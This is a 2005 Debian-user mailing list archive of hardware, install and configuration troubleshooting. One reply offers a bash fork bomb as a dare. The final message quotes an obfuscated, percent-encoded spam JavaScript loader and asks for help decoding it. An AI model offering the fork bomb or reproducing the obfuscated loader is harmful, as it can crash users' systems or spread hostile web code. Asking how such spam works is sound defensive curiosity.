cd-drivers.img' in which it afterwards attempts to mount the Debian cd.  However, I receive the error that "the cd is a non-debian cd."
I've recently had luck with the Sarge cd and booting it directly after POST.  The other cd's I've attempted to boot directly without the use of boot-disks has failed at the very beginning.  However, seeing as I've made some headware, what am I required to do after this point?  DPMS, DRDOS, /mlx?

The latest cd I've created (w/ Nero Express) is bootable and the ISO has been expanded and burned.
Any help is GREATLY appreciated.  I really have my hopes up for Debian and would rather not install a different distro.
If further detail is required--please inform me.
ThanksMichael

Re: Non-debian cd

2005-05-06 Thread Michael
What did you do when you burnt the CD?  I've used a number of netinstimages with no trouble.
I tried a variety of different procedures.  The first cd I wrote to was the ISO, files not verified.  The second was another burn of the image--data not verified.  The third try involved extracting the ISO, burning it, verifying the disc and making it bootable.

Ah.  Nero.  Windows.  What do you mean "expanded?"
Sorry, expanded=extracted.

An iso image should be burned as is.  I've burned usable
CDs with Nero, so it is possible.  Make sure you're creating
an image data CD.
Yes, as I figured was the case.  I've burned operational cd's quite a few times with Nero as well but the Debian cd's I've created have never seemed to function as they "should." 
Good choice.  Once you get past the teething pains, you'll love it.
If I'm ever fortunate enought to get past the difficulties of installation... I'm sure I will love it.
 
I would like to again mention the question I had regarding DR-DOS when booting directly from the Debian netinst cd.  I recently got this to work (much to my surprise) and I'm curious as to what exactly this involves...

 
Thanks
Michael 
On 5/7/05, s. keeling <[EMAIL PROTECTED]> wrote:
Incoming from Michael:>> I have been having troubles to no end installing Debian on my system.
> I've recently purchased a WD800JD SATA hd and the I/OFlex SATA Controller.>> First I was trying to install Woody for ~3-4 days before I received both> pieces of hardware and have been trying to install it for many hours today.
> I asked a variety of questions in the Debian IRC channel and a user> suggested I install Sarge with hopes of it supporting the SATA drive. WoodyI agree with him.  With relatively bleeding edge hardware (SATA),
woody's likely too old.  Not that it's impossible, but it's likelymore trouble than it's worth at the moment.  I don't run bleeding edgehardware, so woody's fine for me.> install Sarge with Netinst, I load files from '
cd-drivers.img' in which it> afterwards attempts to mount the Debian cd. However, I receive the error> that "the cd is a non-debian cd."What did you do when you burnt the CD?  I've used a number of netinst
images with no trouble.> The latest cd I've created (w/ Nero Express) is bootable and the ISO has> been expanded and burned.Ah.  Nero.  Windows.  What do you mean "expanded?"  An iso image
should be burned as is.  I've burned usable CDs with Nero, so it ispossible.  Make sure you're creating an image data CD.> Any help is GREATLY appreciated. I really have my hopes up for Debian and> would rather not install a different distro.
Good choice.  Once you get past the teething pains, you'll love it.--Any technology distinguishable from magic is insufficiently advanced.(*)http://www.spots.ab.ca/~keeling
  Please don't Cc: me.- ---To UNSUBSCRIBE, email to [EMAIL PROTECTED]with a subject of "unsubscribe". Trouble? Contact 
[EMAIL PROTECTED]

Re: Non-debian cd

2005-05-07 Thread Michael
This is the verbatim error message:
"The CD-ROM contains a non-Debian CD.  Please insert a Debian CD to continue with the installation."
This was the common error received when using the cd I just burned using CDBurnerXPPro3 (found this software in a Debian installation manual).
I tried mounting a previously burned cd via the 'netinst' main menu, only to be haunted by this error message:
"There was a problem reading data from the CDROM.  Please make sure it is in the drive.  If retrying does not work you should check the integrity of your CDROM." 
I recently tried the disks and cd on a Windows 98 machine (~8 years old) and encountered the same error message.  Therefore, the error seems to be less a factor of an unsupported cd-writer and more a factor of burn quality/burn type.  Although, considering both cd drives are very old (mine being ~6 years of age), I don't know how much can be ascertained from these findings.  All of the Debian hardware compatibility lists I've looked at have been written somewhere in the range of years 2000-02.

 
As I've said: I've recently been able to boot directly from the 'netinst' cd but I am unaware of how to proceed from that point on.  Any pointers are much welcome...
 
My cd drive is an HP CD-Writer Plus (technically: LG CD-RW CED-8083B).
 
Thanks
Michael
 
On 5/7/05, Michael <[EMAIL PROTECTED]> wrote:

What did you do when you burnt the CD?  I've used a number of netinstimages with no trouble.
I tried a variety of different procedures.  The first cd I wrote to was the ISO, files not verified.  The second was another burn of the image--data not verified.  The third try involved extracting the ISO, burning it, verifying the disc and making it bootable. 

Ah.  Nero.  Windows.  What do you mean "expanded?"
Sorry, expanded=extracted.

An iso image should be burned as is.  I've burned usable
CDs with Nero, so it is possible.  Make sure you're creating
an image data CD.
Yes, as I figured was the case.  I've burned operational cd's quite a few times with Nero as well but the Debian cd's I've created have never seemed to function as they "should." 

Good choice.  Once you get past the teething pains, you'll love it.
If I'm ever fortunate enought to get past the difficulties of installation... I'm sure I will love it.
 
I would like to again mention the question I had regarding DR-DOS when booting directly from the Debian netinst cd.  I recently got this to work (much to my surprise) and I'm curious as to what exactly this involves... 

 
Thanks
Michael 

On 5/7/05, s. keeling <[EMAIL PROTECTED]
> wrote: 
Incoming from Michael:>> I have been having troubles to no end installing Debian on my system. 
> I've recently purchased a WD800JD SATA hd and the I/OFlex SATA Controller.>> First I was trying to install Woody for ~3-4 days before I received both> pieces of hardware and have been trying to install it for many hours today. 
> I asked a variety of questions in the Debian IRC channel and a user> suggested I install Sarge with hopes of it supporting the SATA drive. WoodyI agree with him.  With relatively bleeding edge hardware (SATA), 
woody's likely too old.  Not that it's impossible, but it's likelymore trouble than it's worth at the moment.  I don't run bleeding edgehardware, so woody's fine for me.> install Sarge with Netinst, I load files from ' 
cd-drivers.img' in which it> afterwards attempts to mount the Debian cd. However, I receive the error> that "the cd is a non-debian cd."What did you do when you burnt the CD?  I've used a number of netinst 
images with no trouble.> The latest cd I've created (w/ Nero Express) is bootable and the ISO has> been expanded and burned.Ah.  Nero.  Windows.  What do you mean "expanded?"  An iso image 
should be burned as is.  I've burned usable CDs with Nero, so it ispossible.  Make sure you're creating an image data CD.> Any help is GREATLY appreciated. I really have my hopes up for Debian and> would rather not install a different distro. 
Good choice.  Once you get past the teething pains, you'll love it.--Any technology distinguishable from magic is insufficiently advanced.(*)
http://www.spots.ab.ca/~keeling   Please don't Cc: me.- ---To UNSUBSCRIBE, email to 
[EMAIL PROTECTED]with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]


Re: Non-debian cd

2005-05-07 Thread Michael
When you burn with them, ignore the living daylights out of what they
say about burn speed.  Just tell the burn program to use 4x, or even
2x.  You needed a cup of coffee anyway, didn't you?  Go for a walk.
Yes, I was thinking about burning at a lower speed than 4x. 
I am giving 2x a go (the file is a meager 104MB, anyway) and if that
doesn't work I'm going to try burning the cd using 'cdrecord' on
Solaris Unix.

Michael
 On 5/7/05, s. keeling <[EMAIL PROTECTED]> wrote:
Incoming from Michael:>  I recently tried the disks and cd on a Windows 98 machine (~8 years old)> and encountered the same error message. Therefore, the error seems to be> less a factor of an unsupported cd-writer and more a factor of burn
> quality/burn type. Although, considering both cd drives are very old (mineWhen you burn with them, ignore the living daylights out of what theysay about burn speed.  Just tell the burn program to use 4x, or even
2x.  You needed a cup of coffee anyway, didn't you?  Go for a walk.--Any technology distinguishable from magic is insufficiently advanced.(*)http://www.spots.ab.ca/~keeling
  Please don't Cc: me.- ---To UNSUBSCRIBE, email to [EMAIL PROTECTED]with a subject of "unsubscribe". Trouble? Contact 
[EMAIL PROTECTED]

Re: sudden slow display response

2005-05-08 Thread michael
On Sun, 2005-05-08 at 09:17 +0200, Nacho wrote:
> On Fri, May 06, 2005 at 03:37:09PM +0100, michael wrote:
> > I also get a slow display response, seemingly whenever the filesystem is
> > accessed (see below too). Can't see anything wrong so please help. The
> 
> I saw this same problem some time ago, and it was related to IRQs, the graphic
> card was using the same IRQ than the hard disk, and so when you heavy used the
> filesystems the graphic card became like freezed during small time intervals,
> such as 2 seconds freezed and 3 seconds not freezed and so...
> 
> Could you look at your IRQs? Just execute this command:
> 
> cat /proc/interrupts 

This gives:
[EMAIL PROTECTED]:~$ cat /proc/interrupts
   CPU0   CPU1
  0:34551683454744IO-APIC-edge  timer
  1:   2089   2113IO-APIC-edge  keyboard
  2:  0  0  XT-PIC  cascade
  8:  0  1IO-APIC-edge  rtc
 12:  45202  45147IO-APIC-edge  PS/2 Mouse
 15:  51180  51814IO-APIC-edge  ide1
 16: 358763 358389   IO-APIC-level  usb-uhci, eth0
 18: 126420 126546   IO-APIC-level  ide2
 19:  0  0   IO-APIC-level  usb-uhci
 23: 65 50   IO-APIC-level  ehci_hcd
NMI:  0  0
LOC:69076356907619
ERR:  0
MIS:  1


which, I think, looks okay (?)
> 
> Also, you may want to have a look at BIOS settings, often there are settings
> there related to the video card, such as using or not a IRQ, or which to use,
> or about usage memory of it...
> 
> Hope it helps ;-)
> 
> Nacho
> 
> --
> No book comes out of a vacuum (G. Buehler)
> http://www.lascartasdelavida.com
> 
> 
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



journalling options [WAS: optimizing ext3...]

2005-05-09 Thread michael
I've been trying to get somewhere with the below (seems easier to top
post this time - apols!) and have come across the "data=journal" mode
for ext3.

Has anybody had experience with this as opposed to "data=ordered"? good
or bad experiences?

Is it possible to change this on a live system
(http://www-106.ibm.com/developerworks/linux/library/l-fs8.html implies
it's something at mount time, only)?

Any other thoughts on why my system seems to creep to a crawl whenever
there's IO (eg compressing a file, creating a tar, running progs with
big (a couple Gb) files)?

Thanks, MIchael


On Fri, 2005-05-06 at 11:45 +0100, michael wrote:
> I've Googled about but not found anything to help although I'm sure
> there must be a relevant HowTo/FAQ somewhere, so all pointers welcome!
> 
> My system is a dual Xeon box, running Sarge with 
>   [EMAIL PROTECTED]:~/.personal$ uname -a
>   Linux ratty 2.4.27-1-686-smp #1 SMP Wed Dec 1 19:50:17 JST 2004 i686
> GNU/Linux
> 
> 
> and 1 250Gb disk partitioned thus
>   [EMAIL PROTECTED]:~/.personal$ df
> Filesystem   1K-blocks  Used Available Use% Mounted on
> /dev/hde2  9614148287684   8838088   4% /
> tmpfs  1034796 0   1034796   0% /dev/shm
> /dev/hde8  1829159 19364   1712202   2% /boot
> /dev/hde11   119765712  64309488  49372412  57% /home
> /dev/hde6  9614116438828   8686916   5% /tmp
> /dev/hde5  9614116   1950684   7175060  22% /usr
> /dev/hde7 19228276  16042208   2209320  88% /usr/local
> /dev/hde3  9614148   1673012   7452760  19% /var
> [EMAIL PROTECTED]:~/.personal$ mount
> /dev/hde2 on / type ext3 (rw,errors=remount-ro)
> proc on /proc type proc (rw)
> devpts on /dev/pts type devpts (rw,gid=5,mode=620)
> tmpfs on /dev/shm type tmpfs (rw)
> /dev/hde8 on /boot type ext3 (rw)
> /dev/hde11 on /home type ext3 (rw)
> /dev/hde6 on /tmp type ext3 (rw)
> /dev/hde5 on /usr type ext3 (rw)
> /dev/hde7 on /usr/local type ext3 (rw)
> /dev/hde3 on /var type ext3 (rw)
> usbfs on /proc/bus/usb type usbfs (rw)
> 
> and the syslog shows each with
>   May  4 19:32:15 localhost kernel: kjournald starting.  Commit interval
> 5 seconds
>   May  4 19:32:15 localhost kernel: EXT3 FS 2.4-0.9.19, 19 August 2002 on
> ide2(33,3), internal journal
>   May  4 19:32:15 localhost kernel: EXT3-fs: mounted filesystem with
> ordered data mode.
> 
> I was wondering if this 'default' setting is optimal, particularly
> for /home -- I frequently (circa daily) run jobs (Fortran code) each
> that creates files of a few Gb per run.
> 
> It may or may not be connected but I have noticed, albeit only recently
> but that may not exclude it always happening, that `top` gives "system"
> from 10-40% when such jobs are running (or big data files in Mozilla or
> OpenOffice-Spreadsheet).
> 
> If you need more info, please let me know, and if you have references
> for how to tune this definitely let me know!
> 
> 
> 
>   
> -- 
> Michael Bane
> Atmospheric Physics Group
> University of Manchester
> 
> 
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Broken part of ram -- 100% broken?

2005-05-09 Thread michael
On Mon, 2005-05-09 at 12:44 -0700, Alexander Toresson wrote:
> My brother has an old computer, a Compaq Presario, which he is running
> windows 98 on. He's not running any game on it, and win98 is really
> unstable on it, so I've manage to persuade him to make me install
> debian on it. However, just to check, I ran memtest86 on it, to check
> the ram. Result: lots of errors between 14 and 17 mb.
> Could linux be setup to not use this area of the ram? Getting new ram
> for this computer may not be easy, it's a compaq, so it may need
> special compaq ram... dunno if pc100/pc133 would do...


take a look at http://www.crucial.com - either put you computer
make/model in or try their "Belarc Advisor".

'fraid I can't answer how to get Debian GNU/Linux to ignore part of RAM
(isn't that a BIOS thing?)


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: smp kernel boots from Knoppix but not Sarge

2005-05-09 Thread michael
On Mon, 2005-05-09 at 23:20 +0100, Clive Menzies wrote:
> Hi 
> 
> I have a couple of servers (identical spec) with the advertised cpu as:
> 3.2GHz 3.2GHz Intel P4 Prescott
> 
> If I boot from Knoppix I get:
> # uname -a
> 
> Linux Knoppix 2.6.7 #2 SMP Wed Jul 28 04:25:36 CEST 2004 i686 GNU/Linux
> 
> # cat /proc/cpuinfo
> 
> processor   : 0
> vendor_id   : GenuineIntel
> cpu family  : 15
> model   : 3
> model name  : Intel(R) Pentium(R) 4 CPU 3.20GHz
> stepping: 4
> cpu MHz : 3193.360
> cache size  : 1024 KB
> physical id : 0
> siblings: 2
> fdiv_bug: no
> hlt_bug : no
> f00f_bug: no
> coma_bug: no
> fpu : yes
> fpu_exception   : yes
> cpuid level : 5
> wp  : yes
> flags   : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge
> mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe pni
> monitor ds_cpl cidbogomips: 6324.22
> 
> processor   : 1
> vendor_id   : GenuineIntel
> cpu family  : 15
> model   : 3
> model name  : Intel(R) Pentium(R) 4 CPU 3.20GHz
> stepping: 4
> cpu MHz : 3193.360
> cache size  : 1024 KB
> physical id : 0
> siblings: 2
> fdiv_bug: no
> hlt_bug : no
> f00f_bug: no
> coma_bug: no
> fpu : yes
> fpu_exception   : yes
> cpuid level : 5
> wp  : yes
> flags   : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge
> mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe pni
> monitor ds_cpl cidbogomips: 6373.37
> 
> However, running sarge I can't get an smp kernel to boot - it hangs on
> 'acpi'
> 
> # uname -a
> Linux Venus 2.6.8-1-686 #1 Thu Nov 25 04:34:30 UTC 2004 i686 GNU/Linux
> 
> # cat /proc/cpuinfo
> processor   : 0
> vendor_id   : GenuineIntel
> cpu family  : 15
> model   : 3
> model name  : Intel(R) Pentium(R) 4 CPU 3.20GHz
> stepping: 4
> cpu MHz : 3193.438
> cache size  : 1024 KB
> fdiv_bug: no
> hlt_bug : no
> f00f_bug: no
> coma_bug: no
> fpu : yes
> fpu_exception   : yes
> cpuid level : 5
> wp  : yes
> flags   : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge
> mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe pni
> monitor ds_cpl cidbogomips: 6324.22
> 
> I guess it's something to do with hyperthreading (which shows up in the
> BIOS).  I would welcome some enlightenment as to why Knoppix reports two
> processors but sarge (and Debian From Scratch) only seem to recognise
> one.


For >1 processor, you need an SMP kernel but the one you quote for Sarge
isn't. I got mine from backports. I turn off HT (but am still on 2.4
kernel which isn't as good apparently at scheduling as 2.6) since on my
2 Xeon box, with HT on it's as likely 2 threads run on phy PE#0 rather
than one on PE#0 and other on PE#1

n$ uname -a
Linux ratty 2.4.27-1-686-smp #1 SMP Wed Dec 1 19:50:17 JST 2004 i686
GNU/Linux

(Note the "-smp")

-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Limiting ssh scans

2005-05-11 Thread michael
On Wed, 2005-05-11 at 08:46 -0700, Bill Wohler wrote:
> Bill Wohler wrote:
> 
> >> A Google search was unfulfilling and not relevant with my Debian system. 
> 
> s. keeling wrote:
> 
> > Next time, go to lists.debian.org and search the mailing list
> > archives.  This (and many others) has been discussed here numerous
> > times in the past.
> 
> Paul Johnson wrote:
> 
> > Already answered this month.  Please search the archives.  Summary 
> > answer:  Don't allow logins from networks no legitimate users will be 
> > coming from.
> 
> Paul and "s.",
> 
> I *did* search the archives. I had hoped to avoid these sorts of
> comments by mentioning that I had searched already. Perhaps you didn't
> realize that Google indexes lists.debian.org and you can limit your
> search to the archives with "site:lists.debian.org".
> 
> Dennis' reply was helpful as he gave me the keywords to look for. Note
> that the "SSH blocking" thread did not appear in at least the first
> 100 hits of "ssh site:lists.debian.org". Since there were over 195,000
> hits, the thread would not be easy to find if you didn't have the
> right keywords
> 
> I hope solutions other than the one given above were presented. The
> solution above can be done trivially with the firewall, but is
> unusable since I log in from random places around the Internet.

I found that setting my ssh port to something other than 22 helped very
much. As long as you know the new port number, then you should be able
to do what you want. (The only prob I've had with using other than port
22 was with 'mpich' version 1, but version 2 overcomes that restriction
but does requirement rebuilding applications)
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Installing Debian Linux 3.0r4

2005-05-12 Thread michael
On Thu, 2005-05-12 at 08:44 -0400, Councillor Smola wrote:
> I have purchased a Debian install DVD disk from Softcopy Systems in Toronto.
> 
> After the initial install process the program asks to reboot and I did so.
> The next phase was a screen indicating that the installation was correct.
> ie: Congradulations you have successfully installed Debion.
> 
> At this point I was required to choose the correct time and zone but before
> I could do so the following message appeared :
> 
> ide2: unexpected interrupt, status=0xd0, count= x(number)
> 
> I also saw the message throughout the boot sequence starting at number 1,
> then number 340 when the time and zone message appeared, then I went for a
> Shower and came back to the computer realizing there was a continuous count
> up as high as 3,378.
> 
> Any idea on what the problem could be?
> 
> My Computer is a P4 running at 3.0 ghz
> two Hard Drives WD 40gb & 120 gb
> 1mb of ram
> ati All in Wonder Card 9000 series
> on board sound & network

ah yes, I recall this. I had it when the kernel I was installing was
modern enough for the hard drive. IIRC I had been trying the default
woody from downloading all the CDs (a mistake!). I wiped it all and
started again but this time using sarge and then using a SMP kernel from
backports.

M


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Use of dual CPU?

2005-05-23 Thread michael
On Mon, 2005-05-23 at 09:30 +0200, Marco Calviani wrote:
> Adam Mercer ha scritto:
> 
> >On 23/05/05, Marco Calviani <[EMAIL PROTECTED]> wrote:
> >  
> >
> >>So, normally, even if i use an SMP kernel if i'm not telling the program
> >>to use both CPU it will continue using only one CPU, right?
> >>
> >>
> >
> >Yes, if the program isn't written to use both CPUs, it won't.
> >
> >Cheers
> >
> >Adam
> >  
> >
> Do you know if it is possible to instruct the g77 (fortran) compiler to 
> use both CPU's, or maybe where to ask for?

i would have thought the answer is in 'man g77' - look for OpenMP or
threads. You may also wish to look up 'mpich' in an Internet search
engine. 

so, "yes" you can get your programs to use both CPUs - how well they do
so is yet another issue.

if you're asking about op sys tasks on >1 CPUs pls start a  new thread

Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Use of dual CPU?

2005-05-23 Thread michael
On Mon, 2005-05-23 at 10:34 +0200, Marco Calviani wrote:
> Miquel van Smoorenburg ha scritto:
> 
> > You cannot run one program on two CPUs. It's simply not possible.
> >
> >What you can do is split your program up into multiple programs
> >or threads, that you can run simultaneously - in that case, you
> >will use more than one CPU. But you need to redesign/rewrite
> >your programs, ofcourse.
> >
> >Mike.
> >
> >
> >  
> >
> Well thanks very much for this clarification. I thought it was possible 
> to tell the compiler to do that by itsel.

it is. how well it will do so will depend on your initial code (eg is
there anything it CAN do in parallel?) and the compiler (eg can it spot
what can be done in parallel)?

pls note that it is possible for a parallel program on 2 CPUs to go
slower than on 1. 

and don't forget that, under the right circumstances, you can run
instance#1 on one CPU and instance#another on another CPU (for diff I/O
files)

there's plenty of books out there on this...

-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Problem with optical mouse PS/2

2005-05-23 Thread michael
On Fri, 2005-05-20 at 20:44 +, Pollywog wrote:
> On Friday 20 May 2005 07:44 pm, Marcelo Luiz de Laia wrote:
> 
> >
> > Section "InputDevice"
> > Identifier "PS/2 Roda"
> > Driver "mouse"
> > Option "Protocol" "IMPS/2"
> > Option "Device" "/dev/psaux"
> > Option "ZAxisMapping" "4 5"
> > Option "Butons" "5"
> > Option "Emulate3Buttons" "true"
> > Option "Emulate3Timeout" "70"
> > Option "SendCoreEvents" "true"
> > EndSection
> 
> This is what I have and it worked with my mechanical mouse and with the 
> optical mouse I am using now:
> 
> Section "InputDevice"
> Identifier  "Mouse1"
> Driver  "mouse"
> Option  "CorePointer"
> Option  "Device""/dev/psaux"
> Option  "Protocol"  "IMPS/2"
> Option  "Emulate3Buttons"   "YES"
> Option  "ZAxisMapping"  "4 5"
> EndSection
> 
> Section "InputDevice"
> Identifier  "Mouse2"
> Driver  "mouse"
>     Option  "SendCoreEvents""YES"
> Option  "Device""/dev/input/mice"
> Option  "Protocol"  "IMPS/2"
> Option  "Emulate3Buttons"   "YES"
> Option  "ZAxisMapping"  "4 5"
> EndSection
> 
> 

I have a similar prob. Having replaced the mobo (which Linux could
handle but WinXP required a partial re-installation - how sloppy!) it
now says /dev/psaux not present for my mouse 

Any ideas?

Ta, Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



gnome/metacity - customizing window menu

2005-05-23 Thread michael
I've failed to find a suitably informative link about how to personalize
the window menu under Gnome/Metacity. eg in fvwm2 you can
maximize-horizontally -- how do i get this option on all my windows?

Thanks,
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: how do you protect from spammers in Debian lists?

2005-05-23 Thread michael
On Fri, 2005-05-13 at 13:23 +0200, Dennis Stosberg wrote:
> Am Freitag, 13. Mai 2005 12:20 schrieb Nacho:
> 
> > So I think it's very easy for anybody to automatically extract
> > all of the email addresses from the web archive.
> 
> It _is_ very easy and many spammers do that.
> 
> Your best option probably is to use a second email address for 
> mailing lists only.  
> 
> I use [EMAIL PROTECTED] to subscribe to this list (and others), 
> and I have a procmail-based filter on my mail server, which 
> filters out all mails not coming over one of the mailing lists.  
> Most mailing lists insert a "X-Mailing-List:" header into the 
> mails, which makes filtering very easy.

but isn't much of the spam going to [EMAIL PROTECTED] (as opposed to you
directly)? that's what bothers me a bit...


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



local IP and new MAC address

2005-05-23 Thread michael
I'm trying (again!) to sort this out and can't find any answers so,
fingers crossed, one of you guys can help!

I have a Broadband connection and my Debian box sits behind a router. I
recently upgraded the motherboard so it now has a new MAC address. The
router therefore assigns my box as 192.168.0.5 but when I first set up
Debian the local IP was 192.168.0.2. So, how do I get Debian to
recognise the new IP (eg so that I can set up port redirection correctly
- at the moment I have to redirect WinXP's VNC ports to 192.168.0.5 but
my ssh port, for Debian, to 192.168.0.2)?

Thanks,

-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: mtab very long

2005-05-25 Thread michael
On Wed, 2005-05-25 at 12:00 +0200, Urs Thuermann wrote:
> Sebastian Witt <[EMAIL PROTECTED]> writes:
> 
> > my problem is, that the output of "mount" is very long (and also the
> > /etc/mtab file.)
> > it has double entries over and over:
> 
> Haven't tried it, but I think the following would help:
> 
> : > /etc/mtab

what's the ':' do???


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: mtab very long

2005-05-25 Thread michael
On Wed, 2005-05-25 at 12:40 +0200, Maurits van Rees wrote:
> On Wed, May 25, 2005 at 11:28:04AM +0100, michael wrote:
> > On Wed, 2005-05-25 at 12:00 +0200, Urs Thuermann wrote:
> > > : > /etc/mtab
> > 
> > what's the ':' do???
> 
> Nothing. At least hardly anything worth mentioning. See this snippet
> from the bash manual:
> 
> #
> SHELL BUILTIN COMMANDS
>: [arguments]
> No effect; the command does nothing beyond expanding arguments and
> performing any specified redirections.  A zero exit code is returned.
> #
> 
> That also means it doesn't have any output. This empty output
> is now redirected to /etc/mtab, making that file empty. You can try
> other methods as well, e.g. 'cat /dev/null > /etc/mtab'.
> 
> [EMAIL PROTECTED]:~$ echo "Hello World" > temp
> [EMAIL PROTECTED]:~$ cat temp
> Hello World
> [EMAIL PROTECTED]:~$ : > temp
> [EMAIL PROTECTED]:~$ cat temp
> [EMAIL PROTECTED]:~$
> 
> Does anyone know any other uses for this ':' command?
> 

yes that's what I thought. wasn't quite sure why one would want to wipe
out /etc/mtab but IIRC correctly the suggestion was then to remount
everything so I guess the suggestion was just a way to reconstruct mtab
but why that should help, or rather why the OP's mtab was in a 'mess' I
didn't pick up

cheers, Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: The dumb things we do to ourselves.

2005-05-25 Thread michael
On Tue, 2005-05-24 at 22:04 -0500, Sergio Cuéllar Valdés wrote:
> and what about this:
> 
> $  :(){ :| :&};:
> 
> Try it at your own risk. :P

I've tried to decypher this but failed... can somebody enlighten me pls

-- 
Michael Bane
Atmospheric Physics Group
University of Manchester



how to determine why system rebooted

2005-05-25 Thread michael
I thought this would be easy to discover but I've just come back and my
server has rebooted itself. From various /var/log files I can see when
but I can find NO reason or even hints why. 

I've poked Google and peeked the Debian web pages but have come no
closer to this.

Any ideas?
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: root compromise on debian woody

2005-05-26 Thread michael
On Thu, 2005-05-26 at 17:16 -0400, kamaraju kusumanchi wrote:
> Selva Nair wrote:
> 
> >Hi all,
> >
> >   One of my machines running debian woody (up to date with all
> >security updates)
> >was broken into yesterday. The attacker gained a normal user access possibly 
> >by 
> >cracking a weak password and then managed to get a root shell, install a 
> >rootkit etc...
> >
> >   Looking through evidence left behind (bash_history etc..) I have
> >figured out that
> >the privilege escalation was achived using an executable  that the
> >attacker downloaded
> >from the net. I have verified that this binary is indeed capable of
> >giving root shell to any user
> >and it works on two test systems I tried -- one woody and one redhat 7.2. 

oh please send me a binary that promises to compromise my system


cough



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Software Raid Partition'd?

2005-06-02 Thread michael
Hello,

I'm configuring a new Sarge box with Sofware Raid 5 using
4 Hard disks.
I'm wondering what is the best way to partition the array?
For example:

Is it best to just create 1 Raid 5 mounted on /
or
Create several Raid 5 arrays and split them into
/
/home
/var
/usr

Note: Will use a Raid 0 mounted on /boot

This server will be used with about 200 workstations serving file, web and
email.
I guess I'm basically asking if it makes a performance boost to parition
the drives up, or just have one mega drive mounted on /

Thanks for your advice,

Cheers,
Mike,
PS, please CC me as I'm not on the list. Thx.



This message was sent using IMP, the Internet Messaging Program.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



decyphering spam

2005-06-02 Thread michael
how do i decypher what the following HTML/javascript attempts (original
'write' was all one line)?







document.write(unescape('%3C%53%43%52%49%50%
54%20%4C%41%4E%47%55%41%47%45%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%
64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%65%6D%70%74%79%2E%2E%27%
29%3B%3C%2F%53%43%52%49%50%54%3E%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%
61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%
6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%
73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%
20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%
65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%
43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%
29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%
29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%
65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%
3E'));dF('*8HXHWNUY*75QFSLZFLJ*8I*77of%
7Bfxhwnuy*77*75XWH*8I*77ktyt3ox*77*8J*5I*5F44*75XFRUQJ*75XHWNUY*75*787*752*75HFQQNSL*75FS*75J%5DYJWSFQ*75OX*75KNQJ*5I*5F*8H4XHWNUY*8J*5I*5F5')




-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


